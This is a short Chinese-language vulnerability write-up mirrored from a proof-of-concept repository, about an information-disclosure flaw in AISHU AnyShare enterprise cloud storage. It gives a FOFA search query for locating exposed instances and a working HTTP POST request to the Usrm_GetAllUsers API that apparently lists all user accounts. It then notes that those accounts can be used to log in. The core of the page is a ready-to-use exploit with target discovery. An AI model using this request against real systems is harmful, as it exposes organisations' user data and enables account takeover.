mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 03:46:17 +00:00
32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
|
# 爱数企业云盘存在信息泄露漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
爱数企业云盘是一个备受欢迎的企业级云存储解决方案，其主要特点包括1、数据安全性高，2、存储容量大，3、访问便捷。爱数企业云盘通过多重加密和权限控制，保障了企业数据的安全性。其大容量存储可以满足企业大量数据存储需求，并且用户可以通过多种设备便捷访问数据。爱数企业云盘存在任意信息泄露漏洞
|
|||
|
|
|
|||
|
|
# 二、影响版本
|
|||
|
|
爱数企业云盘
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ fofa`app="AISHU-AnyShare"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 三、漏洞复现
|
|||
|
|
```java
|
|||
|
|
POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
|
|||
|
|
[1,100]
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
使用账号密码登录
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-11-27 10:00:07
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/lw5f2lpcye0l5ez8>
|